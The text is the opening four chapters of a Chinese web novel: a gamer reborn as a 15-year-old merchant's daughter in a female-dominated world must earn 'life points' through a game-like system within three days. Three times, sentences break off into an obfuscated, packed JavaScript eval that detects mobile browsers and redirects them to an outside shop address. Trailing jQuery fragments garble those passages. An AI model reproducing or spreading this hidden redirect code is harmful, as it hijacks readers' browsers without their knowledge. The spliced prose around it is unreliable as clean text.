《我有模拟人生系统（女尊）》 1. 第 1 章 云曜醒来时，脑壳嗡嗡作响。 “什么女尊世界，什么金手指……？”她喃喃道。 从刚才起，就有个自称“女尊系统”的东西，一直在她耳边念念叨叨。 说什么—— “您已经死掉了”“穿成某女尊小说里的女N号”“身份是原书男主之一死去的白月光青梅”。 云曜有点懵：穿书？ 她是个不折不扣的狂热游戏玩家，平日不怎么看小说。 为什么会选中她？ 还没等云曜想明白，她耳畔又响起一阵新的电子音。 【金手指加载完毕。】 【您的金手指为：模拟人生1.0系统。】 模拟人生…… 云曜恍然大悟：怪不得系统会选中她，这不正是她死前最喜欢玩的那个游戏吗？ 只要玩家愿意，完全可以在游戏内培养出一个完美无缺、腰缠万贯、精通各行各业技能的人生赢家。 可谓是“超爽开挂人生”模拟器。 【已自动为您加载三项初始人物特征，具体效果请在现实世界解锁。】 【欢迎来到大曌朝，祝您好运。】 【请……活下去。】 刚听完最后一个字，云曜的意识就被踢了出去。 “二娘子醒了！快去禀报家主！” “真是娲神保佑，都整整三年了，二娘子果然吉人自有天相……” “你去后院倒些温水，给二娘子净面。” 再睁开眼时，眼前是一堆陌生的面容，有女有男。 女人脸上大都带着一种说不出的神气与从容，她们自然地围在云曜床前，将男人挤到一边。 旁边点头哈腰的男小厮忙前忙后，皆习以为常。 “都让开——！” 一片嘈杂声中，突然有道急切高亢的声音刺破空气。 “我妹妹终于醒转了么？” 只见一身形高大的女子闪身进门，裙摆的银红镶边流珠随着她的动作发出“叮铃啷当”的脆响。 还没等云曜反应过来，那女子已经越过众人，一屁股坐在了她的榻边。 “小曜，你总算醒了！” 云曜：“啊……” “你知不知道这三年阿姊我有多难过？你当初如何狠心抛得下你阿姊啊！” 云曜：“这……” “午夜梦回时，阿姊时常梦到你轻轻叫一声‘姐姐’，第二天一早，小厮都要来换掉哭湿的枕巾！” 云曜：“呃……” 信息量好像有点大。不知三年前发生了什么？ 此人言若箭发，语似流星——用云曜穿越前的话讲，就是说话跟机关枪一样突突突。 根本没有给云曜说话的机会。 噼里啪啦说了一大堆后，这人忽然意识到了什么。 “小曜，你怎么不说话？难道是……哑了？”她眼圈瞬间发红。 “呜，呜呜——！我的妹啊，我可怜的妹妹啊！” “上天怎能如此不公！阿姊还想听你再叫一声‘姐姐’，再喊一声‘阿姊’啊！” 在云曜面前，她突然开始嚎啕大哭，以手锤榻，直把木质床榻锤得“砰砰”作响。 当然，过程中还不忘贴心地人体描了个边，即：捶打时特意绕过了云曜的腿部。 云曜：“……” 你人还怪好嘞。 总觉得在这种情况下，她张口说话抑或不说话，都会令场面有点难堪。 纠结了好一会儿，云曜最终还是决定：不背这个哑巴锅。 “咳咳，”她清清嗓子，正声开口，“姐姐，阿姊。” 闻言，那女人愕然抬头。 “小曜，你……哑病突然治好了？” 云曜：“？” 啥？ 不是，她从来就没有得过哑病！ 女人显然没看懂云曜脸上的无奈，只见她激动涕零，直接熊抱住云曜，又哭又笑。 “我就知道我妹妹是个身上有大气运的，不愧是你，小曜！” “又能起死回生，又能自愈哑病，我看看这下谁还敢说我云氏无福！” 云曜想反驳些什么，但在跟女人身体接触的瞬间…… 滴！ 她眼前忽然刷出一大堆文字。 【新的人际网络[祥符云氏]已解锁。】 【云旼：时年十八，云氏长女，字季秋。祥云绸缎庄见习掌柜。精明能干，但极端妹控。】 【您已获得了[祥符云氏]相关社交信息。】 这…… 是她的金手指带来的吗？ 霎时间，云曜像是一名被迫观看游戏开场动画的新手玩家，脑海被塞进了无数与这个世界相关的记忆。 原来，这个世界是一个架空的女尊世界——大曌朝。女人天生更为长寿健康，聪颖伶俐，自然而然成为了世界的上位者。 此地名为祥符郡，隶属青州管辖。 云氏是郡里有名的富家地主，家业为“祥云绸缎庄”，在整个青州境内都赫赫有名。 而她云曜，就是云氏的小女儿。面前的云旼，则是她的亲姐。 家主云和月——也就是云曜的亲妈——仅有一名正夫，唤作顾氏。云曜跟云旼皆是他所出。 这里不得不插播一嘴女尊世界的生育法则：与海马的育儿袋类似，受精卵直接在母体内形成，养育过程则要转移到父体的育儿囊内。 值得一提的是，母体可以保存受精卵一月之久，期间母体与任一适龄健康父体结合，则可将其转移至父体。 不过，这孩子也不是非生不可。 若母体不愿让生命孕育，也很简单，期间不与任何人同房，待一月后的排卵葵水期，让受精卵随□□自然流出体内即可。 换言之，跟前世一样，母亲孕育的孩子绝对属于她，却不一定属于父亲。 “小曜，你怎么了？还有哪里不舒服么？” 云旼觉察到云曜的走神，担忧地望着她。 云曜轻轻摇一下头，恍惚开口：“无事，只是……” 只是有种走在路上突然被彩票砸中，结果发现中了五千万大奖的懵懂感。 转生成为富家小姐诶！ 还是古代女尊背景下的富家女！ 也就是说，她终于摇身一变，成为人上人了？！ 见云曜神色不属，云旼不知想到了什么，一拍脑袋：“糟了，是我考虑不周。” “你三年未醒，难免虚弱。小曜你等着，我这就向母亲请示，去找个小郎给你冲喜！” 说完，她风风火火站起来，拔腿便向外走去。 云曜一惊，吓得一把拉住她。 “冲、冲喜？” 云旼理所当然地点头：“是啊。你落水前，不是跟那个许家小子关系很好么。” “什么？”云曜一时怔住。 “小曜你等着，阿姊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13304774|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算是绑，也要把他披上红盖头红嫁衣送到你床上！”云旼信誓旦旦地拍拍胸脯。 云曜擦了一把额上沁出的汗。 “不不不，姐你先等等……” 这简简单单几句话，信息量有点大。 首先，出现了一个新人物——许家小子。 她现在已经明白，只有当她与对方进行身体接触时，才能获得对方的详细信息。 因此，除非她能跟这位“许家小子”进行一次身体接触，否则，现在的她仅凭云旼的话语，还无法了解此人究竟是谁。 另外，云旼口中还出现了一个新事件——落水。 这是什么？ 云曜想起，对方刚刚提到自己已经“三年未醒”，难不成是指…… 自己三年前曾落水，因此而导致了昏迷？ 想到这里，她耳畔忽然响起了系统的提示音。 像是在说“恭喜你回答正确！”。 滴！ 【人物特征[起死回生]已解锁。】 【介绍：你曾从阎王手中侥幸逃脱，不幸的是，你已经在生死簿上留下了姓名，成为了阎王的重点观察对象。当你凝视深渊时，深渊也在凝视你。】 云曜：“……” 等一下。 听上去有点太不吉利了点吧？ 阎王她老人家不忙吗？怎么有闲心观察她这种小人物？！ 【特征效果1.通灵之术： 你曾行走于黄泉边界，灵魂沾染了非人的转生气息。动物对你的初始好感极高。】 呃。 非人的，转生气息。 这是在骂她么？ 系统没有回答，但贴心地给出了针对最后一句话的解释。 【此特征使得你将拥有面向动物的亲和力。比如难度不低的驭马骑乘，对你来说，你天生就能将它们管教得服服帖帖。】 云曜恍然大悟：“噢。” 抛开投胎非人的那一部分不谈，剩下的东西听上去还怪有用的。 【特征效果2.等价交换： 返生后，你的人生正在倒计时。需用[人生点数]兑换存活时长。兑换比例10:1。】 【当前人生点数：0。】 【剩余存活时长：3天。】 云曜眉头一皱。 她眼睛没有花吧。 自己不是刚穿过来吗？怎么只能活三天了。 【是这样的，宿主你也知道，本来原身就已经死掉了。】 【所以你的穿越，是一种奇迹般的“起死回生”。】 伴随着系统的话语，云曜眼前闪回了几个画面。 三年前，原身12岁。 在前往书院拜师学习的路上，她乘坐的马车不慎受惊侧翻，整个人落水昏迷。 原身在水中痛苦挣扎，最后不再动弹，慢慢沉入水中。 在那时，“云曜”就已经死掉了。 【按理说宿主刚穿过来，一般都能有个30天的新手存活期，让你慢慢赚存活点数。】 【但刚刚也说过，阴曹地府有位大人物很关注你……所以我们系统这边也很难周旋。】 他爹的！ 一向很有素质的云曜，忍不住在心底暗骂了一声。 还以为自己终于否极泰来，能在古代投个好胎，享受一下万恶的封建主义人生。 到头来，自己竟然—— 只剩下3天的生命了？！ 2. 第 2 章 云曜现在忽然想明白，为什么系统在最初会说出一句很奇怪的话。 ——“请活下来。” 原来，那时候就在暗示她了么？ 想到这里，云曜连忙急切询问系统：“所以，人生点数需要怎么赚取？” 如果根据她玩过的模拟人生游戏，她需要完成一项项任务来赚取点数。 这些任务大都是游戏内制定的硬指标，而且通常会循序渐进。 比如为了达成一项遥不可及的终极目标，玩家最初只需要操纵小人做些简单的事情，就可获得一定奖励，如此循环往复。 当然，后期的任务一般都会艰巨数倍，难度呈几何增长。 奖励也同样会倍增。 正如云曜想的那样，系统给出了她明确的答复。 【为了获取[人生点数]，请宿主想办法触发[人生抱负]。】 【温馨提示：当前有一项[人生抱负]待触发。请宿主在云氏宅邸自由探索。】 此时此刻，云曜在脑中跟系统的对话，并不会被旁人听见。 也因此，云旼只能看到云曜青一阵白一阵的脸色。 “妹妹，你还好么？”她担忧地抚上云曜的额头。 “若是身体不适，你再在床上睡一天，待我去把那许——” “许”字还没说完尾音，云曜已经一个鲤鱼打挺，掀开被子后弹射下床。 “不不不，不睡了！” 睡什么睡！ 再不努力，还有三天她就要告别这种天降的荣华富贵了。 人这一生，怎能不为女尊背景下的富家女生活拼一把？ 在这一瞬，她心中曾经死去的奋斗小人，已经被一把斗志之火熊熊点燃。 云旼被她吓了一跳：“妹妹……？” 她愣愣地看着云曜身穿一身月白色中衣，在厢房内激动地来回走动。 “得先穿上衣服。话说回来，古人都穿些什么？” 云曜嘀嘀咕咕。 她视线先后掠过房内做工雅致的宝瓶博古架、打磨得铮亮的四神博局镜、角落盛放的金钱绿萼梅，由于不熟悉房间布局，竟愣是没有找到衣柜在哪。 笃、笃、笃—— 脚步声在房内杂乱响起。 云曜眉头微蹙，如无头苍蝇一般到处翻找。 一旁，云旼像是看到了什么新鲜景观一般，双手抱臂环胸，对着忙碌的云曜左看右看。 “小曜，你在找东西？” 云曜转过头，回答道：“我要穿衣服。” “病了三年，连身边服侍你的小郎都忘记了？这种小事不用你亲自做，”云旼说着，转头对门外高声喊道，“珠圆，玉润！” “进来给二娘子更衣！” 云曜一惊。 服侍她的……小郎？给她更衣？ “我先去门外等你，小曜。”云旼大步流星走出门，行动潇洒。 前脚云旼出门，后脚就有两名眉清目秀的少男低眉走了进来，不知为何，他们都用手轻轻遮住了喉结部分。 是生病了么？ 这时，系统解答了她的疑惑。 【在大曌朝，当男子与非亲非故的女子相见时，若是不遮挡喉结，则会被视为蓄意勾引、不守男德，为世人所不齿。】 【只有伎坊的伎子倡优，才会在人前随意展露喉结。】 云曜恍然大悟：“原来是这样。” 不过，他们遮喉结的手一直需要端着，虽然看上去赏心悦目，别有一番韵味…… 似乎怪辛苦的。 【不。他们不觉得辛苦，反而还乐在其中。时下还有男子遮喉结专用的领巾、丝带、围脖等等，花样繁多。】 【顺带一提，你们云氏的绸缎庄就靠这个赚了不少钱。】 闻言，云曜迅速变脸。 “他们都觉得不辛苦，那就肯定不辛苦。我也一直觉得男子好看才是第一位，嗯，喉结确实该遮。” 既然涉及到了她家的产业链，那么…… 有钱不赚是傻子！ 走近一看，云曜发现两位少男面上特意细细敷了白粉，描了眉毛。 或许是化妆手法高超的缘故，他们的模样并不显脂粉俗气，而是清新自然，别有一番儿郎风味。 左侧的珠圆：“下人见过二娘子。” 右侧的玉润：“二娘子请随我前往屏风后，即刻为您更衣。” 两人温声细语，皆着盖住脚踝的天青色袍袖，料子并非云曜印象中普通仆人会穿的麻布，而更像是某种品质不俗的绸缎。 行动间，他们步态风流、身段纤细，云曜甚至能闻到一股若隐若现的天然熏香味。 “二娘子，怎么了？” 见云曜愣愣站在原地，玉润恭敬地双手合围，柔柔弱弱地行了个礼。 “请二娘子随我等前来。” 碎发随着他的动作落下，露出一段洁白脆弱的后脖颈。 配上他捂得严严实实、衣摆垂至脚踝的天青袍袖，更显得那抹嫩白乍眼突出。 甚至像是某种刻意引诱。 还没等云曜说什么，一旁的珠圆忽然也行了个礼，身体前倾。 “二娘子，请来。” 声音清脆宛转，是很好听的少男音。 因他这大动作，云曜才发现，珠圆的衣服似乎比他的体格宽大不少。 这让她甚至可以透过胸前衣物的缝隙，看到他瓷白色的肌肤，紧实瘦削的胸肌，跟上面两颗粉色的—— 云曜深吸一口气：“……” 停，打住。 还得是女尊世界的香男人够劲，茶香四溢，味儿都快冲她脸上了。 “二娘子，麻烦到这边来。”两人又异口同声。 云曜收回视线，点头。 “好。” * 接下来，云曜愉悦地接受了珠圆玉润二人极为周到的服侍。 先是绾个简单的高髻，再穿上她来女尊世界后的第一套“正装”。 穿衣前要给衣物熏香。 少男的修长手腕娴熟地抖动，在掐丝珐琅熏笼中放入沉香、苏合香与零陵香混合的香料。 浸润于漫然香气中，云曜只觉得自己的身心仿佛都得到了净化。 “二娘子，这种香闻着还舒服么？”珠圆低声问。 云曜闭目点头：“嗯。” 实在是舒服极了。 除了调香手法独到，在整个熏香过程中，珠圆玉润的动作还极具观赏性。 两人分工默契，一人添香，一人翻衣，丝毫不显忙乱。 这时，云曜突然心生一股感恩之情：感谢前世拼命打游戏猝死的自己。 穿越后，竟有如此体贴殷勤的干净小帅哥给自己忙前忙后、做小伏低—— 她真的不是来到了天堂吗？ 紧接着，在两名少男忙前忙后的服侍下，云曜轻松换上了一件绣着祥云金线的丁香紫锦袍，腰戴坠珠玉带钩，外罩一件手感极好的丝质袍衫。 全是她前世没见过的好东西。 “都穿好了，二娘子。” 还没等云曜发出感叹，身后的珠圆便轻声开口。 “这都是庄里新来的料子，三年来，家主每次给家里人打样，都会给二娘子做一件，”他弯了弯眼角，笑着说，“二娘子今日穿上，果真是神采逼人。” 整个过程用了一炷香的时间。 值得一提的是，更衣完毕后，云曜居然还获得了一个技能。 滴！ 【技能系统已解锁。】 【你获得了[更衣]技能。当前等级：1级。】 【技能效果：与常人相比，你穿上的衣服更容易保持干净。】 在原本的模拟人生游戏里，玩家能获得各种稀奇古怪的技能，并根据技能等级获得加成。 每种技能，都对改善生活有所裨益。 云曜在穿越之前就想过，如果将这样的系统应用于现实，人生一定会变得格外有趣。 但她没想到，有朝一日自己居然真的会拥有一个“模拟人生系统”。 不知道有多少种技能等着自己获取？ 【本世界共可获取648项技能，您可以在现实世界自由探索。】 “……哇。” 看到“648”这个数字后，云曜几乎要在心里发出一声欢呼。 像她这种肝帝，最喜欢的就是不厌其烦地刷属性了。不然她也不会连续三天不吃不喝、不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13304775|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眠不休地打游戏，以至于嗝屁穿越。 由于心情很好，更衣结束后，云曜笑着对珠圆跟玉润道了声谢。 “谢谢你们，辛苦为我更衣。” 语毕，她自然地整了整衣袖，向屏风外走去。 在她身后，两名少男一怔。 他们惊愕地对视一眼，在彼此眼中看到了震惊与…… 羞涩。 待云曜出门后，两人悄声低语。 “二娘子竟然对我们这种下人道谢？” 珠圆轻拍了下自己的脸颊，像是在确定自己是不是做梦。 他可是记得很清楚，落水昏迷前的云曜，从未给过他们好脸色，更别提像现在这样温声道谢。 “说起来，刚刚给二娘子更衣时，她一直面带微笑、举止从容，真是有一身文质彬彬的好风度。” 玉润俯身凑近熏笼，微微出神。 香气盈鼻。 这是他方才亲手为二娘子熏上的香气。 珠圆先回过神来，装出一副严肃的模样：“你身为男儿，怎能私下议论女子？真是不害臊。好了好了，赶快去打扫二娘子的床榻吧。” 话虽如此，他面上还是不争气地漫开一片绯红，感觉自己心脏在怦怦狂跳。 云曜卧床昏迷三年，而今已经十五岁。 正是大曌女子及笄的年纪。 ——也是可以正式纳夫纳郎的年纪。 珠圆忍不住胡思乱想：倘若，他能被云曜看上…… 不敢奢望夫位，只做个体己知心的通房侍郎也好啊。 云曜大病三年，而今一朝醒转，面容竟丝毫不显病气。举手投足间，还颇有一种举世脱俗的出尘气质。 是那种极易令怀春少男一见倾心的好模样。 珠圆身为云氏家生子，比谁都明白云氏有多么家大业大。而云曜备受娘亲跟姊姊宠爱，虽昏迷了三年，却也还是整个云氏的掌上明珠。 正因如此，在刚刚见到醒来的二娘子时…… 他才忍不住耍了些小心机，扯松领口，作出那般不知廉耻、罔顾礼教的大胆举动。 不过，珠圆心底并不觉得自己做错了。 他暗暗想：说到底，男子牢守男德的目的也是为了觅得良人。 只要能嫁给他心目中的如意娘子，哪怕让他再贴身诱惑一百遍一千遍，他也愿意。 不过，他不知道的是…… 身边的玉润，也跟他抱着相似的隐秘心思。 只有男人才最懂男人，尽管两个人还不清楚对方心中的那点小九九，房间内气氛也微妙地变了变。 “快点干活吧。” “嗯。” 二个各怀心事，不再说话，沉默地打扫起了云曜的床榻。 * 与此同时，云曜跟随云旼的脚步，来到了家主所居的正房。 云氏宅邸，正房饭堂内。 整间房间侈丽堂皇，桌上已摆满玉盘珍馐；饭堂东南方位供奉着一尊纯金娲神像，仆妇小厮沉默地为娲神像送上素菜、水果和净水的供奉。 “呜呜呜，我的曜儿，你这三年清减不少，受苦了……都怪爹爹，怪爹爹当年没能给你一副好体格……” 顾氏，也就是原身的亲爹，此刻哭得上气不接下气，用力环抱住了云曜。 他年近四十，依然窈窕清瘦、风韵犹存，保养得极好。 手腕上水头很足的翠玉手镯伴随他的动作，擦过云曜背部。 【人际网络[祥符云氏]已更新。】 【顾氏，时年三十六，名招梅，云和月正夫。孕有两女，性情温厚，与妻主感情甚笃。】 “来来来，曜儿，也到阿母这里来。” 居于主位的一名富态妇人同样神色动容。 但她没有像顾氏那样嚎啕大哭，而是伸手握住云曜的手腕，带着她来到自己身前。 关切的眼眸中，流淌着对小女儿浓得化不开的心疼与爱意。 “刚刚听旼儿说，你醒后，有许多东西都记不得了？是不是如此？跟阿母说说。” 【人际网络[祥符云氏]已更新。】 【云和月，时年三十六，字看山。祥云绸缎主人。精明能干，心思深沉，疼爱家人。】 3. 第 3 章 云曜脑海飞快掠过几种可能的答案。 要说谎吗？还是说实话？ 最终，迎着云和月深沉慈爱的目光，她还是选择老实回答。 “……是的，阿母。” 只能从实招来了。 毕竟她根本不可能瞒过这些大曌土著。 刚刚一路上云旼问了她很多东西，云曜皆一问三不知，甚至，连宅邸内正房所在的方位都记不得一点。 当时，云旼若有所思地转身，眉头紧锁，望向云曜。 “小曜，我刚刚就发现了一件事。其实你落水后——” 此话一出，在她锐利的视线下，云曜大气都不敢喘一下。 糟糕。 难道自己不是原身的事情，被她发现了？ 正当云曜头冒冷汗，以为自己会露馅时…… “——失忆了，对不对？” 没成想，铁血妹控·云旼早已给她找好了借口。 “小曜，你怎能如此坚强隐忍？有困难找阿姊，不能把痛苦都留在心里自己扛啊！放心，阿姊一定会跟你一起共渡难关，找回我们姐妹俩珍贵的回忆！” 云旼心痛捂胸口，眼眶发红。 似是被云曜那不存在的坚强所打动。 云曜：“……” 云曜：“哈、哈哈，谢谢阿姊。” 总而言之，感谢脑回路清奇的云旼。 让她得以在面对云和月时掌握“失忆”这个万能借口。 有了云旼的助攻，云和月这位叱咤祥符郡的商界大佬并未对云曜起疑心。 “曜儿，今后你且安心在家养病，不用再去那劳什子书院求学。” 云和月语重心长。 “我知道你从小就有大志向，想登科及第、求官入仕。可是……” 后面她说了什么，云曜一概没听清。 因为，她耳边突然响起了一道熟悉的系统声。 滴！ 【新的人生抱负[平步青云]已解锁。】 【春风得意马蹄疾，一日看尽长安花。考取功名，或许是你在新世界迈出的第一步。你会青史留名，还是会遗臭万年，亦或是跟大多数人一般……寂寂无名、湮没尘埃？】 【[平步青云]阶段一：拜入书院名师门下。（三星及以上）】 【奖励：人生点数300-1000点。】 “曜儿？曜儿。曜儿！” 云曜突然间的走神，不可能瞒过洞察敏锐的云和月。 “你听到我说什么了吗？莫要再肖想读书考取功名了。”她严肃道。 云曜：“可……” “从下旬起，你跟着旼儿一起去绸缎庄里做事。在庄里，阿母跟阿姊都会护你周全，保你一辈子荣华富贵。” 云曜：“我……” “你也是大姑娘了。等你去了绸缎庄，月例从下个月起跟旼儿一样，升到30两黄金。” 云曜：“但……嗯？” 月例三十两，黄金？ 意思是，如果她愿意在绸缎庄做活，云和月每个月就会给她30两黄金的生活费。 不过，她对女尊世界的钱币没有概念，不知道这是什么水平。 会有很多吗？ 这时，系统贴心地给她作出了解答。 【宿主，大曌朝的30两黄金能够购买12000斗大米，用现代计量单位表示，也就是十五万斤。】 【换算下来，30两黄金的购买力，在你穿越前的世界大致相当于30万元左右。】 云曜：…… 云曜：什么？！ 每月，30万，零花钱？！ 多么有吸引力的条件啊啊啊！ 可惜的是，系统很快便给她泼了盆冷水。 【请宿主慎重抉择。】 【我要提醒宿主，由于[起死回生]的影响，你只剩下3天寿命。】 【如果无法获取一定数量的人生点数，你将在三日后的子时死去。】 云曜：……呜呜呜。 好吧，好吧。 其实不用系统提醒，她也不可能忘记这件事的。 她只是前世穷惯了，一时间被豪门大户的壕气蒙蔽了心智而已。 “曜儿，莫非你是嫌不够？” 此时，见云曜久久不回答，云和月眉头紧锁。 “也是，你卧床三年，少拿了三年月例。这样吧，吃完饭你随我去库房，先挑些值钱的宝贝带回房。前些天刚从东海搬过来的百宝嵌插屏够不够？” 作为云氏家主，云和月的语气稀松平常。 她略一思索，报菜名一般报了几个一听就很贵的物件名。 “还有南边运过来的珐琅彩瓷瓶、翻簧竹刻瓶，采买刚进的翡翠发财树玉雕——” 每报一个名字，云曜的心就会不争气地狂跳一下。 她深呼一口气。 疯狂抑制住自己想要一边抱老母亲大腿一边喊“我愿意！”的冲动。 “再加上一点小玩意儿吧。你房里的香炉该换了，前月刚买的一座錾银花鸟香炉，如何？” 云和月终于不紧不慢地说完，语气稀松平常，简直像是在描述“今日太阳也从东边升起来啊”一般。 “我……”云曜差点没发出声音来。 喉咙干哑地要命。 “嗯。怎么了？”云和月端起手边一盏酽茶，送到唇边。 不行，不能被金钱蒙蔽双眼。云曜痛苦地想。 自己可是有“三天寿命”的催命符在身啊！ “阿母，可我……”她低声说，“还是想去书院读书。” 她将指甲狠狠嵌入手心之中，用疼痛来让自己保持清醒。 不能糊涂！ 如果去不成书院，别说是下半辈子的荣华富贵了。 连三天后的荣华富贵，她都见不到。 “不行，你不能去书院。我已经说得很明白了。” 没想到，在让她去书院读书这件事上，云和月竟也寸步不让。 她苦口婆心：“曜儿，你上次想去书院，结果就落水卧床三年。这是娲神都在叫你不要读书啊。” 云曜：“阿母，可我真心想要去书院读书……” “不行！曜儿，我已失去过你一次，不能再失去你第二次了。” 云和月的语气近乎哀求：“你也体谅一下为母的心情，好么？” 都说为母则刚，女子有泪不轻弹。 可这三年，有多少辗转难眠的夜里，她都在悄悄以泪洗面！ 女儿是母亲最大的软肋，对云和月来说，云曜跟云旼两姐妹就是她捧在心尖尖上的宝贝。 “……”云曜深吸一口气，只觉有口难言。 她能感受到云和月的一片拳拳爱女之心。 只是她要如何诉说——如果不去书院，自己很快就要完蛋了？ 偌大的饭堂，此刻竟落针可闻。 无人敢大声喘息，连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13304776|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗外的飞鸟流云似乎都受到此地凝滞气氛的影响，乖巧地止在了这一刻。 眼前着母女二人气氛渐僵，一旁原本温顺聆听的顾氏连忙站出来打圆场。 “妻主，曜儿若是想真心读书，我从娘家请个私塾女君过来便是。”他温声道。 云和月思忖片刻，赞许地看他一眼，微微颔首。 “夫郎所言极是，依我看……” 可这时，云曜却突然抬头。 眸中隐隐闪着泪光。 “——阿母！” 接下来发生的事，出乎所有人意料。 只听“啪”的一声，云曜竟一掀袍袖，直接跪在了地上。 “哎呀，二娘子！” “二娘子，女儿膝下有黄金，你快点起来罢！” “二娘子莫要如此！” 周遭服侍的仆妇小厮吓了一跳，皆小跑到云曜身边来想搀扶她。 连云旼也是一惊，急得来拉拽她。 “小曜，有话好好说。阿母她也不是铁石心肠，你大病初愈，地上又冰，先起来才是！” 在一阵忙乱嘈杂中，云曜直视云和月，蒙着水光的眸中俱是磐石般的坚定。 她跪在地上，身形似林间修竹，清冷挺拔。 “阿母，女儿不愿囿于家业，惟愿成就一番千秋伟业功名，为天地立心，为生民立命。好女子志在四方，怎能甘于平淡荣华一生？” “纵使记忆有缺，女儿心中仍有放不下的执念。” “我要去书院读书，拜名师、通学问、砺心智、铸品行，修身齐家治国平天下！” 一番话语铿锵有力，字正腔圆，声情并茂。 此言一出，整个饭堂内所有人的目光都落在她身上。 “二娘子……” 这一刻，不少人心中都冒出了同一个念头：没想到，二娘子竟如此一心向学、志向远大。 言辞真切，实在是令人感动不已。 【哇，不愧是你，宿主！】 此时此刻，没人知道，云曜脑内的系统正在兴奋地哇哇叫。 【先是掐大腿疼出眼泪，然后又背出趁其他人劝和时打了八百遍的腹稿，演技实在是行云流水呀！】 云曜：咳。 作为一名现代大女人，该有的“穿书后靠打嘴炮艳惊四座”的名场面素养还是要有的。 而且她这个人从小到大的东亚狼性教育，岂是白受的？ 别的暂且不提，一心求学的话术要多少有多少。当年高考冲刺时见过的励志鸡汤还少么？古今中外框架都是一模一样的，只要稍许润色就好。 “曜儿，你……” 迎着云曜笔直的目光，云和月倒吸一口冷气。 她嘴唇翕动，张开又合上，面上表情也风云变幻。 有不忍，有愠怒，还有动容。 见她这番表现，云曜心中一动：咦？好像有戏！ 得再加把火。 她索性心一横，再使劲用指甲掐了掐自己大腿，成功逼出了更多眼泪。 “阿母……！” 云曜抬起脖颈，有一滴恰到好处的泪水顺着她眼角滑下。 她嗫嚅着，发出隐忍的声音：“曜儿求你了，阿母。” 在大曌朝，任谁看到这样能屈能伸的大女人，都会忍不住为之动容。 云曜一字一顿开口。 “——让我去书院读书吧！” 呜呜，孩子是真的想活下去啊！ 4. 第 4 章 次日，天蒙蒙亮。 时值十月深秋，庭院内榆树光秃秃的，再无往日“钱串子”盈枝的神气，在朱墙黛瓦的环绕下显得多少有些寂寥。 云曜站在一架二马轩车前，转头看向已哭成泪人的珠圆玉润，无奈摇头。 自昨晚起，听说她要去书院的消息后，这两人就表现得如晴天霹雳一般。 “二娘子，书院是女人们读书的地方，我等男儿没办法跟过去啊！” “是啊，二娘子，你大病初愈，之后身边没个贴心人儿服侍，要如何是好？” 昨晚，两人你一言我一语，言谈间感觉天都快要塌下来。 仿佛云曜身边无人伺候，是件令他们多么难受的事情。 “呜呜呜……” “二娘子，呜呜……” 哭得梨花带雨，我见犹怜。 云曜不走心地安慰了他们几句：“无碍，无碍。莫要哭了。” 见美少男落泪，她心里并不愧疚，甚至还有种隐晦的满足之情。 有人会不喜欢美男为自己落下眼泪吗？ 没有吧。 那双微红的剪水秋眸望过来时，眼瞳中只能盛得下你一人，还带着三分哀怜自艾，七分欲语还休…… 实在是，非常漂亮。 而且不得不说，他们手脚还是十分利索，哭归哭，手上的活半点没停下。 等云曜早晨醒来后，除了耳边系统突然响起的技能提示音，她还看到珠圆玉润二人已收拾好了书箱、衣物等五大箱箧笥。 滴！ 【你获得了[寝眠]技能。当前等级：1级。】 【技能效果：与常人相比，你更容易迅速入睡。】 至今，穿越不足一天，云曜已经获得了两项技能，也收获了相应的增益。 目前看上去，都是微不足道的小增益。 但等日后等级高了，或许会有更大的好处。 “二娘子，到底为何如此急切啊？” 迎着珠圆楚楚可怜的目光，云曜不为所动：“急切么？可我已昏迷了三年，也等了三年。此事绝不可再拖了。” 表面正气凛然，实则…… 呵。有苦难言。 有阎王催命符在身，别说三年了，根本连三天都等不了呢。 “呜呜，可是二娘子，你不会忘了我们吧？” 此时站在轩车旁，珠圆玉润二人还在哭哭啼啼，望着云曜的目光要多哀切有多哀切。 “成何体统？” 突然间，一道低沉男声响起。 “你们两个不懂事的男人哭什么！别污了主子的耳朵。” 出声的是云氏负责管教小郎男仆的李姓男子，大家平日都唤他李郎。 李郎约莫四十上下，高鼻深目，肌肤麦色，生得有些异域风情。他脖颈围了一条深绿纱巾，耳上挂着小巧的半月形珊瑚耳饰，随他的动作发出轻微的当啷声。 与寻常男子相比，他的胸脯十分伟岸饱满。 据说在云旼出生时，李郎还曾当过云旼的乳父。 顺带一提，正如怀孕由男性承担一样，这个世界的哺乳工作也属于男性。 因此，男子们多以胸肌傲人、手感软弹为豪。 不少人私下会偷偷训练。只是，如何在增大胸肌的同时，不至于令臂膀变得浑圆狰狞，也是个让男人苦恼的话题。 一些胆大机灵的，还会去找游医寻些偏方，力求让胸肌饱满出众，艳压众男。 “二娘子敏而好学，分明是天大的好事。” 